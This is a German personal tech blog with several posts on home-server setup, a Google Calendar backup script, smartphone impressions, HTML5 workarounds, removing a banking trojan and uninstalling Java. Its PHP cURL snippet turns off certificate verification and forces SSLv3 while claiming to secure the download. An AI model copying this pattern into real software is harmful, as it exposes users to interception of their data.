Windows Home Server 2011 auf dem Lenovo D400

22 09 2011

Ich habe sehr gute Erfahrungen mit meinem Lenovo D400 Windows Home Server gemacht, der bei mir als NAS und Backup-System dient. Als NAS leistet er gute Dienste, weil er Daten mit über 50MB/s anliefern kann und sich vor allem mit dem Add-In LightsOut automatisch in den Stand-By begibt, wenn kein Rechner an ist und auch wieder aufwacht, wenn es was zu tun gibt. 30W rund um die Uhr mitlaufen lassen ist nicht so nach meinem Geschmack.

Viel besser aber ist die automatische Datensicherung meiner Windows-Rechner. Täglich wird im Hintergrund eine Datensicherung gemacht, die sogar einstellbar weit in die Vergangenheit zurückversioniert. Versehentlich irgendwelche wichtigen Daten gelöscht, fällt aber erst zwei Monate später auf? Kein Problem, einfach eine der älteren Sicherungen öffnen und die Daten wieder rausfischen. Das ganze ist sogar recht Datensparsam, weil identische Daten nur einmal gespeichert werden. Fünf Rechner mit Windows 7 mit je 20 Versionierungsständen sichern die identischen Systemdateien also nur einmal und nicht hundertfach. Das ganze geht ohne irgendwelches Zutun der User, genau so, wie man sich das wünscht. Die tägliche Sicherung bremst den Rechner auch nicht übermäßig aus, man muss keine Programme beenden und sie dauert meist nur wenige Minuten. So ists recht.

Der erste Windows Home Server unterstützte ein auf den ersten Blick cooles Feature namens Drive Extender, bei dem die Freigaben automatisch auf alle angeschlossenen Festplatten verteilt wurden. Praktisch, weil man dann beliebig Festplatten nachstecken konnte und die Freigaben einfach mitwuchsen. Man konnte sogar pro Freigabe anweisen, dass die Daten auf mindestens zwei Platten vorhanden sein sollen, falls mal eine ausfällt. Der Nachfolger Windows Home Server 2011 hat dieses Feature einfach gestrichen, was einerseits ärgerlich ist, andererseits aber einen guten Grund hat: Stimmt mit dem Drive Extender irgendwas nicht, wird die Sache haarig. Genau das ist uns bei einem Home Server passiert (nicht bei meinem zu Hause), wir mussten also die Daten manuell (an einem anderen Rechner) von den beiden Platten zusammenkopieren und den Server komplett neu aufsetzen. Dabei sind etliche Daten abhanden gekommen, die wir auf dem System abgelegt hatten, nachdem der Drive-Extender-Dienst nicht mehr gestartet werden konnte. Ärgerlich, aber immerhin ist uns der Defekt früh genug aufgefallen. Da der Drive Extender offenbar sogar Microsoft zu mulmig ist und wir Ärger damit hatten, haben wir die Gelegenheit ergriffen, auf dem Lenovo D400 direkt mal den neuen WHS 2011 aufzuspielen. Die Lizenz kostet nur noch 40€, das ist ein überschaubares Investment.

In einer der letzten c't-Ausgaben gab es eine Anleitung, wie man den Acer easyStore H340 auf den WHS 2011 migriert, die man vollständig analog auch für den Lenovo D400 anwenden kann (er ist mit den H340 weitgehend baugleich). Man findet aber auch im Netz genug Anleitungen, die den Vorgang erläutern. Kurz gesagt: Ein USB-Stick mit diskpart bootbar machen, den Inhalt der Windows Home Server 2011 DVD da drauf kopieren, eine cfg.ini-Datei mit bestimmten Einstellungen für die bedienungslose Installation darauf ablegen, geleerte Platte in den untersten Slot stecken, den Stick in einen der hinteren USB-Slots stecken, Server anschalten, eine Stunde dem lustigen Blinken zusehen, fertig. Alternativ kann man für 15€ ein Slotblech mit VGA-Buchse bei eBay kaufen und die Installation interaktiv durchziehen, das Ergebnis ist identisch, denn auch dabei kann man die später unabänderliche Arbeitsgruppe "WORKGROUP" nicht ändern (habe ich danach an meinem eigenen Lenovo D400 ausprobiert). Damit muss man also leben.

Nach der Installation muss man den neuen Home-Server-Connector auf allen Clients aufspielen und eine neue (verbilligte) LightsOut-Lizenz muss auch her), alles nicht grundlegend neu. Erwähnenswert ist, dass der Ersatz für den Drive Extender in meinen Augen viel besser ist: Der Home Server wendet die Clientsicherungstechnik einfach auch auf sich selbst an und macht zweimal täglich eine Datensicherung von wählbaren Ordnern auf die zweite Platte, die wahlweise auch eine externe Platte sein darf. So hat man als Benefit auch eine Versionierung der gesicherten Freigaben, was ein Vorteil gegenüber der kaputten Situation ist, dass Freigaben auf dem Server jede versehentliche Löschung gleich auf alle Platten verteilt.

Leider fällt einem schnell auf, dass der Stand-By-Modus nicht funktioniert. Eine kurze Recherche später hatte ich die Lösung: Man muss die ganzen Intel-Treiber installieren, dann darf man endlich einen Stand-By auslösen. Leider wacht der Server immer sofort wieder auf, also noch weiter suchen: Es fehlt noch ein Treiber für die LED-Ansteuerung. Also mit folgenden Treibern läuft bei mir auch der Stand-By mit dem Lenovo D400, man braucht dazu:

  • Den Intel Grafiktreiber für den 945er Chipsatz (bei mir Version 15.12.75.4.64.1930 für Windows 7 64-Bit : "Treiber für Intel® Grafik-Media-Beschleuniger für Windows* 7 64")
  • Den Intel ICH7 RST-Treiber (bei mir Version 10.1.0.1008 vom 15.12.2010 für Windows Server 2008 R2 Standard: "Intel® Rapid-Storage-Technik")
  • Das Intel INF-Update-Utility (bei mir Version 9.2.0.1030 vom 21.04.2011: "INF-Update-Utility - Hauptsächlich für Intel® 6er, 5er, 4er, 3er und 900er Chipsätze")
  • Den Marvell Yukon 88E8071 Treiber für Windows Server 2008 R2 64 Bit (bei mir Version 11.41.3.3 vom 17.02.2011)
  • Den LED-Treiber von einem großartigen engagierten Entwickler, den man in diesem Forum bekommt. Wichtig ist, nach der Installation in der Konfigurationsdatei den Hardware-Erkennungsmodus auf den Acer H340 zu zwingen, sonst wird der D400 nicht erkannt. Readme lesen!

Etwas über 50€ und ein Arbeitstag später hat man also einen aktuellen Windows Home Server ohne fehleranfälligen Drive Extender auf der alten und sehr günstigen Hardware. Wer unbedingt die Drive-Extender-Features haben will, kann eins der beiden verfügbaren Add-Ons benutzen, aber ehrlich gesagt ist mir das zu gefährlich und ich komme mit dem aktuellen Modus super klar: Schlicht, stabil und von überschaubarer Komplexität, beim Thema Storage mache ich keine Experimente mit reingefummelten Tricksereien.

P.S. Die versionierten Clientsicherungen gehen bei der Umstellung natürliuch flöten und die Daten in den Freigaben muss man auch in irgendeiner Form sichern und später wieder aufspielen. Ich hatte es bei meinem eigenen Server leicht, denn alles passte auf die Systemplatte, so dass ich die nach dem Entfernen der zweiten Platte im alten Home Server einfach rausziehen und mit allen Daten drauf beiseite legen konnte. Nach der Installation auf den nun freien zweiten Platte (im untersten Slot) konnte ich die Daten einfach umkopieren und die alte Systemplatte als Sicherungsplatte einrichten.


Kleines Google Kalender Backup Script in PHP

01 03 2011

Seit ich ein Android-Smartphone besitze, verwalte ich meine Termine aus Bequemlichkeit im Google Kalender. Das funktioniert prima und Google schützt auch gut vor versehentlich gelöschten Einträgen, aber um Backups möchte ich mich trotzdem zusätzlich noch mal selber kümmern. Das klappt auch recht einfach, weil Google von allen angelegten Kalendern .ics-Dateien unter einer geheimen privaten URL anbietet. Die muss man nur regelmäßig herunterladen und abspeichern. Eine kurze Suche fördert dieses Shell-Script ans Tageslicht, das ich flugs nach PHP portiert habe. PHP deswegen, weil Shellscripte unter Windows nicht funktionieren und ich Windows-Batch-Scripte unglaublich kompliziert finde. Ein PHP Interpreter ab Version 5.3 für Windows muss nur heruntergeladen und mit zwei kleinen Änderungen an der php.ini angepasst werden, fertig ist die Laufzeitumgebung. Keine Installation systemweiten Krams, portabel auf allen Plattformen, läuft sogar auf jedem normalen Webspace. Zugriff auf PHP hat also im Grunde so ziemlich jeder. Davon abgesehen kenne ich mich mit PHP am besten aus.

Nun zum Script selbst. Der spannende Teil sind folgende cURL-Anweisungen, alles drumherum kümmert sich um Konfiguration und die Schleife über alle Kalender.

$ch = curl_init($url);
$fh = fopen($filename, 'w');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); // only needed with https:// URLs
curl_setopt($ch, CURLOPT_SSLVERSION, 3); // only needed with https:// URLs
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // only needed with https:// URLs
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
fclose($fh);

Howto: Google Calendar PrivatadresseWenn man die Standard-URLs benutzt, die Google einem als private Adresse gibt, braucht man nicht mal die drei SSL-Einstellungen. Für mich kommt ein Download ohne SSL aber nicht in Frage, dazu muss man nur das Protokoll der privaten Kalender URLs auf https:// umstellen. Diese URLs bekommt man in den Kalendereinstellungen des jeweiligen Kalenders, wie im Screenshot zu sehen ist.

Das vollständige Script inkl. Readme.txt gibt es hier, die Lizenz ist cc-by-sa. Unter Windows lässt sich das leicht als geplanter Task einrichten. Ich habe dazu einen Ordner in den Eigenen Dateien erstellt, das angepasste Script hinein und eine aktuelle PHP 5.3 Distribution in den Unterordner php gelegt. Im Taskplaner rufe ich nun sonntags die dortige php-win.exe auf und übergebe den vollen Pfad des Backup-Scripts als einzigen Parameter. Das Script erzeugt stets einen Unterordner mit Datum und Uhrzeit und legt alle konfigurierten Kalender dort ab. Dank PHP kann man das auch auf einem Webserver oder generell überall machen, wo PHP ab 5.3 mit cURL läuft.

Viel Spaß damit.

Ach ja, bevor Fragen aufkommen: Die Google Kontakte lassen sich auf diese Weise nicht herunterladen. Wenn man mit Cookies in cURL hantieren will, kann man sich bei Google einloggen und ein Backup der Kontakte saugen. Aber das ist nicht ganz trivial. Alternativ kann man die Google Data API anzapfen, das ist gut dokumentiert, aber liefert die Daten nur in einem ATOM-XML-Format.


Mein Dell Streak Ersteindruck

20 12 2010

Ich darf mitspielen! Rückblickend frage ich mich, wie ich es so lange mit Windows Mobile 6 aushalten konnte, aber seit zwei Wochen bin ich endlich stolzer Besitzer eines Dell Streak. Android ist eine Wohltat, man muss nicht mal mehr Minderwertigkeitskomplexe gegenüber iPhone-Nutzern haben, im Gegenteil. Nun mal einige Ersteindrücke vom Gerät.

Die Größe ist genau richtig. Nicht so groß, dass es nicht mehr transportabel wäre oder man damit nicht mehr mit einer Hand telefonieren könnte; aber eben auch groß genug, dass die Bedienung der Apps richtig Spaß macht. Ich bin sogar so weit, dass ich morgens nach dem Aufstehen alle Standardkommunikationstasks (Mails, Twitter, Google Reader, ein paar Newsseiten) noch im Bett erledige und meinen Hauptrechner im Zweifel gar nicht mehr starten muss. Gleiches gilt für das ins Bett gehen, wo ich meinen Rechner auch nicht mehr zwingend noch mal anwerfen muss. Das würde alles auch auf einem iPhone oder einem HTC Desire gehen, aber mit dem Dell auf 5" macht es regelrecht Spaß. Ich empfinde es, von der groben Peinlichkeit mal abgesehen, auch nicht als unpraktisch, damit zu telefonieren. Trotzdem werde ich unterwegs meistens ein Headset benutzen, weil ich ja sowieso außer Haus stets Musik oder Podcasts auf den Ohren habe.

Apropos Headset: Das mitgelieferte Ohrkanal-Headset klingt gar nicht so übel und sitzt auch recht bequem. Überraschung. Trotzdem habe ich mir als allererstes ein Headset gekauft (noch bevor das Gerät da war). Erstes Ärgernis: Das iPhone hat eine andere Belegung am vierpoligen 3,5mm Headsetanschluss, laut Wikipedia belegt das iPhone Masse und AUX falsch herum. Na prima. Gut für mich, dass ich das Headset direkt an einen dankbaren iPhone/MacBook Besitzer weitergeben konnte. Nur findet man aber tatsächlich kein Headset mit der "richtigen" Belegung, weil sich fast alle Hersteller auf das iPhone kaprizieren. Nun habe ich das Creative HS-730i bestellt, das bringt nämlich einen 3,5mm Klinken-Adapter für Nokia-Telefone mit, was mir die leise Hoffnung beschert, dass die "Nokia-Belegung" die "richtige" Belegung ist, die übrigens auch mein altes HTC Touch HD nutzt. Solange muss das Originalheadset aushalten.

Das war es leider noch nicht an Stecker-Inkompatibilitäten. Der Dock-Anschluss vom Dell Streak ist angelblich ein PDMI-Anschluss, eine standardisierte Schnittstelle mit USB 2.0, 3.0, Displayport und allerlei analogen und digitalen Soundausgängen. Das ist sehr cool an sich, aber leider ist das Streak das erste und bisher einzige Gerät mit diesem Anschluss. Herzlichen Glückwunsch, denn dadurch gibt es keine Kabel oder Docks von Drittanbietern und das Original USB- und Ladekabel von Dell kostet inkl. Versand 33€! WTF? Für 15€ mehr bekommt man das Kabel plus KFZ-Halterung, was gar keine so schlechte Idee ist, denn das Display ist größer und besser als das von meinem TomTom Go 720T. Mal überlegen.

Dass ich nur ein Kabel habe, ist aber nicht ganz so schlimm, denn das Streak hält bei geringer Nutzung locker zwei Tage durch und auch bei Vielnutzung komme ich damit gut über den Tag. Gut. Nicht so gut sind die Neustarts bei geringer mechanischer Belastung im Akkubetrieb. Wenn man das Gerät in zwei Händen hält und leicht gegeneinander verdreht, startet es reproduzierbar neu. Man muss es also wie ein rohes Ei behandeln und selbst wenn man es in der Jackentasche hat und sich in der Bahn hinsetzt, löst man solche Neustarts manchmal schon aus. Ein Anruf bei der sehr guten Dell Hotline brachte mich nicht weiter, man bot mir eine Reperatur an, aber einen Monat kann ich nicht auf meinen neuen Liebling verzichten. Also habe ich das gemacht, was mir als erstes in den Sinn gekommen ist: Der Akkudeckel schließt zwei Kontakte kurz, die mir sofort verdächtig waren. Sie etwas heraus zu biegen brachte nichts, aber ein dünnes Drähtchen als Überbrückung stellte die Neustarts sofort ab. Heureka und Glück gehabt. Jetzt bin ich rundum glücklich.

Die genannten Kritikpunkte sind schon alles, was ich auszusetzen habe/hatte. Ich bin wirklich ausgesprochen zufrieden mit dem Gerät, auch der Preis stimmte und lag knapp unter den 410€ netto, bis zu denen man so ein Gerät sofort von der Steuer absetzen kann. Für den Originalpreis von 550-600€ hätte ich es übrigens nicht gekauft, weil ich nicht so viel für ein Telefon ausgeben möchte. So ist es die für seinen Einsatzzweck perfekte Lösung.

P.S. Erste App-Empfehlungen für Android: Die Kontakte-Synchronisation mit Thunderbird klappte auf Anhieb prima mit dem MyPhoneExplorer. Auf dem Gerät sind Google Reader, TweetDeck, K-9 Mail, KeePassDroid und Google Maps ein Muss, aber auch Google Goggles macht riesigen Spaß und mit Google Listen habe ich eine superbe Podcast-Losung gefunden. Listen richtet sich mit einer eigenen Kategorie im Google Reader ein, so dass man seine Podcasts am Desktop abonnieren und verwalten kann. Das Programm beachtet die Gelesen-Markierungen und lädt Dateien in der Warteschlange automatisch im WLAN herunter. Bedienung über Bluetooth im Auto klappt super, übrigens auch mit dem Standard-Musikplayer. Es funktioniert einfach alles bisher, ich fühle mich angekommen, es lebe Android.

Nachtrag 04.01.2010: Ich habe ein Headset gefunden, das brauchbar klingt, sich bequem trägt und von der Steckerbelegung her (sogar ohne einen der mitgelieferten) Adapter ans Streak passt: Das Creative HS-730i. Fehlt nur noch ein bezahlbares Dock oder ein Zweitladekabel, das nicht 33€ kostet. Dieses Billig-Dock wäre die Lösung, ist aber noch immer nicht lieferbar. Sowieso nervt der PDMI-Anschluss. Dass nur Dell den beim Streak einsetzt ist ärgerlich, aber viel nerviger ist, dass er sich nur schlecht blind einstecken lässt und man zum Aufladen immer das eigene Kabel dabei haben muss. Einfach ein Mini- oder Micro-USB-Kabel ausleihen ist also nicht.


HTML5-Elemente auch im IE ohne JavaScript und trotzdem valide

20 12 2010

Ha, na sowas. Da kommt jemand mit einer relativ eleganten Möglichkeit um die Ecke, dem IE die neuen HTML5-Elemente auch ohne JavaScript bekannt zu machen. Er benutzt dafür einen XML-Namespace und benutzt dann so Sachen wie html5:section statt section. Das ist geradezu genial und funktioniert angeblich sogar zuverlässig, validiert aber in erster Linie nicht, wenn man sich nicht mit XHTML5 ganz anderen Ärger ins Haus holen will. Daneben ist es auch komisch, wenn der Autor so ein HTML schreiben muss, nur um auf den IE Rücksicht zu nehmen. Wie ließe sich das also noch verbessern?

Mir kam sofort die naheliegende Idee, das mit einem serverseitigen Ausgabefilter nur an die IEs auszuliefern. Die Voraussetzung wird nicht jedes CMS einfach so mitmachen, aber falls doch, ermöglicht einem das, die HTML5-Elemente jetzt zu benutzen. Wie genau soll das funktionieren? Wenn man einen serverseitigen DOM/HTML-Parser benutzt, ist es relativ leicht, aber das sollte in der CMS-Landschaft die große Ausnahme sein. Also braucht man ein paar simple RegExes:

  • <html muss im HTML-Output durch <html xmlns="http://www.w3.org/1999/xhtml" xmlns:html5="http://www.w3.org/1999/xhtml" ersetzt werden. Wenn man gründlich arbeitet, prüft man vorher, ob das HTML-Element nicht schon die passenden Namespaces trägt.
  • <(/?)(abbr|article|aside|audio|canvas|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video) muss im HTML-Code durch <$1html5:$2 ersetzt werden, das sind die öffnenden und schließenden Tags.
  • (abbr|article|aside|audio|canvas|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video) muss im CSS durch html5\:$1 ersetzt werden.

Das schöne an dieser Lösung ist, dass man Serverseitig recht einfach einen IE erkennen kann und ihm die gefilterten Quellen anbietet. Dass der Code für den IE nicht validiert, halte ich für verschmerzbar. Falls man versehentlich einen Browser erwischt, der sich nur als IE ausgibt, klappt zudem trotzdem alles. Und das wichtigste in meinen Augen ist, dass man die CSS Spezifität nicht verändert und sich auf diesem Weg keine Seiteneffekte ins Boot holt. Gut so.

Der einzige Nachteil, den ich momentan sehe, ist die Voraussetzung eines finalen Output-Filters. Viele CMSe buffern den HTML-Output sowieso und bieten einen Hook an, an den man sich einfach dranhängt, in dem Fall hat man natürlich leichtes Spiel. Etwas schwieriger ist das bei CMSen, die sowas nicht haben und vor allem bei statischen CSS-Dateien, in dem Fall muss man irgendwie einen Filter in den Workflow frickeln, was stark von der eingesetzen Serverumgebung abhängt und nicht einfach generalisiert lösbar sein wird. Wenn man aber sowieso schon ein CSS-Framework wie Turbine einsetzt, lässt sich das prima dort lösen, vielleicht gar mit einem HTML5-Enabler Plugin. Ansonsten wäre das mal ein guter Anlass, so ein Framework einzusetzen.

Damit löst man aber noch immer nicht das Cache-Problem: Man muss externe Proxy-Caches aushebeln und benötigt zudem plötzlich zwei lokale Caches, die von der Cache-Logik unterschieden werden müssen. Da wird es dann diffizil und man verzichtet vielleicht lieber auf eine Browser-Unterscheidung, macht den Output-Filter immer an und scheißt auf den Validator. Ist ja auch eine Lösung und man muss weiterhin nicht selbst mit den Namespaces hantieren.


Was für ein feiner Rootkit-MBR-Supertrojaner

13 12 2010

Kürzlich wurde ich gerufen, um einen Rechner mit Windows 7 von einem Trojaner zu befreien, der eine lustige TAN-Abfrage in das Online-Banking der Postbank injiziert ("Geben Sie 20 TANs ein" direkt nach der Eingabe von Kotonummer und PIN). Schnell war klar, dass ich es mit einem ordentlichen Stück Software zu tun hatte, weil alleine die organische Einbindung der injizierten Abfrage mittels jQuery UI wirklich sauber ausgeführt wurde. So gehört sich das. Der Virenscanner hat zwar etwas gefunden, aber das verriet lediglich den Weg der Infektion über ein veraltetes Java-Plugin (Update 17, aktuell ist Update 23). Ein Autostart war auch schnell auffindbar, aber ebenfalls eine Sackgasse: Die Exe hatte 0 Byte und war zusammen mit dem Autostart-Eintrag nach jedem Löschen plus Neustart wieder da. Klingt ziemlich nach Rootkit, also Rechner mitnehmen und genauer ansehen.

Also habe ich als nächstes die Desinfec't DVD von der c't 02/2010 gebootet und einige Stunden Bitdefender, Kaspersky und Avira mit aktuellen Signaturen laufen lassen. Für sowas braucht man viel Zeit, weil alleine die Akualisierung der Scanner sich bei mir im Stundenbereich bewegt hat. Verwunderliches Ergebnis: Nichts, keine einzige verdächtige Datei, die Avira nicht schon aus dem laufenden System heraus in Quarantäne verschoben hatte. Nanu? Irgendwo her muss der Scheiß doch kommen und so neu oder unbekannt wird so ein Virus auch nicht sein. Bleibt also als letzte Möglichkeit der MBR. Also schnell mal mit fixmbr.exe hantiert und von einer Boot-CD aus den Autostart und die immer wieder neu angelegte 0-Byte-Exe gelöscht, und zack, das war es. Keine TAN-Abfrage mehr beim Banking. Die hatte übrigens den Firefox und den Internet Explorer betroffen, nicht aber einen testweise heruntergeladenen Protable Chrome. Scheinbar injiziert sich das Ding als geheime DLL in ihm bekannte Browser, um sein Unwesen zu treiben.

So muss das. Diese Scriptkiddie-Virusbaukasten-Kinderkacke langweilt doch nur. Ich warte schon lange auf solche Schadsoftware, die mal ein echter Gegner ist; die auch mal von Leuten lanciert wird, die nicht mit ihren scheiß Botnetzen und adoleszent geprägten Allmachtsfantasien irgendwelche Seiten DDoSen, weil man dort ihren Account wegen Missbrauchs geblockt hat. Von sowas hat mir gerade gestern noch jemand erzählt, der eine Matchmaker/Liga-Seite für ein beliebtes Computerspiel betreibt. Stattdessen gibt es ordentlich gestaltete Software, die ihren Zweck erfüllt und mal wieder zeigt, wie angreifbar Online-Banking mit TAN-Liste doch ist. Mit Browser-basiertem Banking hat man da besonders als Angreifer leichtes Spiel, aber wenn jemand so weit ist, dass er sich mit einem MBR-Rootkit tarnen und unauffällig den ganzen Browser manipulieren kann, sollte auch ein Angriff auf StarMoney oder andere Banksoftware kein prinzipielles Problem sein.

Dass man hier sehr auffällig direkt 20 iTANs haben will, ist wohl dem Umstand geschuldet, dass man diese nur verkauft und eben nicht direkt selber nutzt. Sollte sich jemand finden, der bereit ist, das zu tun, ist es natürlich viel erfolgsversprechender, eine legitime TAN-Abfrage abzuwarten und nur die Überweisungsdaten zu manipulieren. Dagegen helfen einige neuere TAN-Verfahren, die neben der TAN auch immer Ziel und Betrag der Überweisung anzeigen. Wenn man dem überhaupt Beachtung schenkt. mTAN oder die neueren TAN-Generatoren tun da gute Dienste, weil sie die TAN-Generierung an die angezeigten Überweisungsdaten binden. Nutzt sowas, wenn ihr das noch nicht macht. Oder eben HBCI-Chipkarten-Banking mit (teurem) Kartenleser mit Display und eigenem Pinpad, aber das ist wirklich sehr unkomfortabel, vor allem wenn man mehr als eine Bank hat.

Insgesamt muss man sagen: Haltet um Gottes Willen Eure Software aktuell! Ein Java Update 17 ist einfach mal sechs Versionen alt und enthält etliche Sicherheitslücken, die sich ohne Zutun des Anwenders bequem im Browser ausnutzen lassen. Was aus sowas werden kann, hat dieser Fall mal wieder eindrucksvoll bewiesen. Auf dem betroffenen Rechner habe ich jetzt Java einfach deinstalliert, denn bezeichnend an der Sache ist, dass der Besitzer von Java eben noch nie etwas gehört hatte; kein Wunder also, dass er dessen Update-Anfragen offensichtlich ignoriert hat. Weg damit. Überhaupt: Alle Browser-Plugins sind tickende Zeitbomben, das gilt genau so für Flash und den Adobe Reader (oder Shockwave oder Quicktime oder Windows Media). Die Browser sind heutzutage echt ziemlich sicher geworden, vor allem Google Chrome mit seinen ungefragten Hintergrund-Updates geht da den richtigen Weg. Aber wenn man sich diese Sicherheit mit Sandboxen und allem durch veraltete Plugins direkt wieder kaputt macht, ist das ein Fehler im Prinzip. Also: Plugins vermeiden oder zumindest nicht ungefragt ausführbar machen, ein Flashblocker ist heutzutage sicherheitstechnisch wirklich Gold wert, NoScript kann das sogar mit allen Plugins. Ansonsten muss Java eben ganz gehen, aber das hatten wir ja schon neulich.


Java muss gehen

03 11 2010

Ich mochte die Java-Runtime noch nie, in letzter Zeit aber hat das Java-Plugin im Browser die Führung übernommen (von Flash und dem Adobe Reader), was die Ausnutzung von Sicherheitslücken angeht. Also ist eines klar: Java muss endlich mal aus meinen Browsern verschwinden, vorzugsweise gleich vom ganzen System. In Opera benutze ich sowieso schon den PlugIn-Blocker, den man in opera:config aktivieren kann und der alle PlugIns erst nach einem Aktivierungsklick auf einen Platzhalter startet. Das betrifft dann auch das Adobe Reader PlugIn, Flash und Silverlight. Bequem, aber irgendwie habe ich das Gefühl, dass einige PlugIns trotzdem einfach so starten (möglicherweise, wenn sie in einem iframe geladen werden). Im Firefox kann man PlugIns einfach deaktivieren, aber nach einem Update von Java war selbiges im Firefox wieder aktiv. Also auch hier nur eine halbe Lösung. Java muss also vom System verschwinden, die Browser sollen keine PlugIns sehen.

Leider stehen der systemweiten Deinstallation von Java einige Hürden entgegen, allen voran ein paar unersetzliche Java-Programme wie Netbeans und der JDownloader. OpenOffice meckert ohne Java auch herum, läuft dann aber trotzdem. Ich habe das alles lösen können, als Notiz eine kurze Beschreibung, worauf es ankommt:

1. JavaPortable

Dankenswerterweise gibt es bei portableapps.com eine portable Version von Java, die aktuell gehalten wird und sich bequem und fix installieren lässt. Ich habe ein Sammelverzeichnis für portable Programme, dort landet gleich auch Java. Soweit kein Problem, Java findet sich jetzt unter D:\ProtableApps\Java (das sind Backslashes, keine Pipes, liegt am Font).

2. JDownloader und andere Java-Programme, die als .jar kommen

Der JDownloader ist ein klassisches Java-Programm, das direkt als .jar kommt und mit einem einfachen Aufruf gestartet werden kann. Man legt in so einem Falle einfach irgendwo eine neue Verknüpfung an und trägt ins Zielfeld D:\PortableApps\Java\bin\javaw.exe -jar D:\PortableApps\Jdownloader\JDownloader.jar ein, in das Feld "Ausführen in:" kommt D:\PortableApps\Jdownloader. Die Pfade müssen natürlich der Situation angepasst werden und ggf. jeweils in Anführungszeichen gepackt werden, wenn Leerzeichen darin vorkommen. Dann wählt man der Optik halber das Symbol der JDownloader.exe aus und speichert die Verknüfpung ab. Das wars schon, JDownloader läuft jetzt ganz entspannt und hat sogar den Vorteil, dass man die Verknüpfung an die Taskleiste von Windows 7 anheften kann, was mit der JDownloader.exe daran scheitert, dass man nur den Starter anheften kann und für das laufende Programm ein zweiter Eintrag in der Taskleiste erscheint. Heftet man das laufende Programm an, hat es nur ein fieses Platzhalter-Symbol, wenn es nicht läuft.

3. OpenOffice/LibreOffice

OpenOffice bzw. LibreOffice meckert beim ersten Start, wenn keine Java-Runtime am Start ist, lässt sich aber unter Extras->Optionen->OpenOffice.org->Java ohne weiteres mit der portablen Runtime bekannt machen. Ich bin mir aber gar nicht sicher, ob das überhaupt notwendig ist, denn auch ohne Java scheint OpenOffice/LibreOffice ganz normal zu funktionieren.

4. NetBeans

Netbeans benötigt normalerweise ein ganzes JDK, da kommt man um eine systemweite Installation nicht herum. Will man es nur für die PHP-Enwicklung (oder andere Java-freie Sprachen) benutzen, reicht aber auch eine portable JRE. Nur scheitert die Installation ohne systemweites Java. Hilfsweise kann man ein bereits installiertes NetBeans umstellen oder die plattformunabhängige Version hernehmen, der Trick ist der gleiche: Im etc-Ordner der Installation gibt es eine netbeans.conf, die eine Zeile für den Pfad der JRE enthält. Den schnell umgestellt (Pfad natürlich wieder anpassen), und NetBeans startet wieder:

netbeans_jdkhome="D:\PortableApps\Java"

Bei meinen ersten Versuchen bin ich daran gescheitert, dass hier das Java-Hauptverzeichnis angegeben werden muss und nicht das Unterverzeichnis bin mit dem Java-Binary.

Fazit

So, meine Browser sind nun zuverlässig befreit vom Java-PlugIn und ich kann wieder ruhig schlafen; meine wichtigen Java-Programme laufen nach kurzem manuellem Eingriff trotzdem wie zuvor. Alles wird gut. Schlimm genug, dass Browser Sicherheitslücken haben, aber sowieso nie benutze PlugIns wie Java werden immer wieder vergessen, erfahren keine oder zu späte Updates und sind alle paar Wochen erneut ein spannender Zoo von Zero-Day-Exploits. Die Antwort kann nur lauten: Weg damit. Und Java im Browser werde ich nicht vermissen.

P.S. Bei der Gelegenheit habe ich übrigens auch gleich den Adobe Reader entsorgt und durch SumatraPDF ersetzt, ein simples Frontend für Ghostscript, das zur einfachen Anzeige völlig reicht und zudem super schlankt ist. Nachteil ist, dass das Markieren von Text damit nicht wirklich komfortabel klappt (Strg gedrückt halten und einen Rahmen aufziehen, der darunter liegende Text wird dann irgendwie unvorhersehbar markiert). Das kann ich aber zumeist verschmerzen. Flash wird bei mir sowieso in allen Browsern grundsätzlich geblockt (Opera blockt alle PlugIns bis auf Widerruf, FlashBlock erledigt das in Firefox und Chrome dank einer einfachen Whitelist sogar noch viel eleganter).

Nachtrag 19.11.2010: Wenn man JDownloader auf die angegebene Weise mit einem portablen Java verheiratet, kann man .dlc-Dateien leider nicht mehr per Doppelklick im JDownloader öffnen. Man muss dazu die Dateizuordnungen manuell ändern, was wiederum in Windows 7 nicht mehr mit den klassischen Bordmitteln geht. Die alte Oberfläche zur genaueren Dateizuordnung gibt es sein Vista nicht mehr, man muss also in der Registry hacken oder das tolle Tool ExtMan benutzen, das in etwas die alte von XP gewohnte Oberfläche wieder bringt. Tolles Tool und ein prima Ziel für PayPal-Spenden. Für den JDownloader muss man den Eintrag für .dlc-Dateien editieren und folgende "Anwendung für diesen Vorgang" zuordnen (wie immer: Pfade anpassen): D:\PortableApps\Java\bin\javaw.exe -jar D:\PortableApps\Jdownloader\JDownloader.jar "%1". Dann klappt auch der Start per Doppelklick wieder. Für die visuellen Typen habe ich dazu mal zwei Screenshots gemacht:

.dlc-Dateien mittels ExtMan mit JDownloader verknüpfen Schritt 1.dlc-Dateien mittels ExtMan mit JDownloader verknüpfen Schritt 2


Ist Joomla ein Hort für Stümper?

05 10 2010

Vorweg: Ich habe mal im Jahr 2005 für ein Projekt einen genaueren Blick in das CMS Joomla geworfen und mich klar dagegen entschieden. Ich weiß nicht mehr im einzelnen, wieso, aber die Entscheidung war sehr klar und fiel seinerzeit zugunsten von TYPO3 aus, das ich seitdem hervorragend bewährt hat. Ich weiß also im Grunde nicht viel über Joomla. Irgendwann habe ich mal beim Multimediatreff in Köln einen Vortrag zur Joomla-Entwicklung gehört, bei dem der (oder die?) Vortragende keinen leichten Stand hatte: Das Publikum war offensichtlich der Meinung, dass Joomla eher zu den weniger ernstzunehmenden Content-Maganement-Systemen gehört; zudem überzeugte auch der Vortrag kaum vom Gegenteil. Auch sonst haben Joomla-Integratoren einen schweren Stand in meiner Peergroup. Genau genommen habe ich nicht eine Empfehlung für Joomla von jemandem gesehen, den ich in Sachen Webentwicklung üblicherweise ernst nehme. Vielleicht ist das Zufall, aber ich kenne auch niemanden, der jemanden kennt, der Joomla einsetzt und dabei – wie auch immer definiert – gut ist.

